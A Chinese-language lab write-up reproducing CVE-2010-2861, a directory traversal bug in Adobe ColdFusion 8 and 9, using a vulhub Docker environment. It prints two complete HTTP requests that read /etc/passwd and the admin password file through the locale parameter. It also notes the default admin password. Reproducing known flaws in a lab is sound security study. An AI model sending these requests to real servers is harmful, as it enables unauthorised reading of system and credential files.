漏洞描述

Adobe ColdFusion是一个动态Web服务器，其所采用的CFML(ColdFusion Markup Language)程序设计语言类似JSP的JSTL(JSP Standard Tag Lib)，CFML是一种针对Web应用的脚本语言，文件后缀为.cfm。

Adobe ColdFusion 8及Adobe ColdFusion 9版本存在目录穿越漏洞，攻击者可在未授权的情况下读取任意文件。

影响版本

Adobe ColdFusion 8、Adobe ColdFusion 9。

漏洞复现

git clone https://github.com/vulhub/vulhub.git
cd vulhub/coldfusion/CVE-2010-2861
docker-compose up -d

访问http://<ip>:8500/CFIDE/administrator/enter.cfm页面，默认密码为admin，登录成功之后会有一个初始化成功页面。

之后的文件读取步骤可能会因为URL编码或Cookie无法成功，所以用bp进行包重放。

读取系统用户信息：

GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en HTTP/1.1
Host: <ip>:8500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

读取管理员密码：

GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en HTTP/1.1
Host: <ip>:8500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

文章许可：本文采用CC BY-NC-SA 4.0许可协议，转载请注明出处。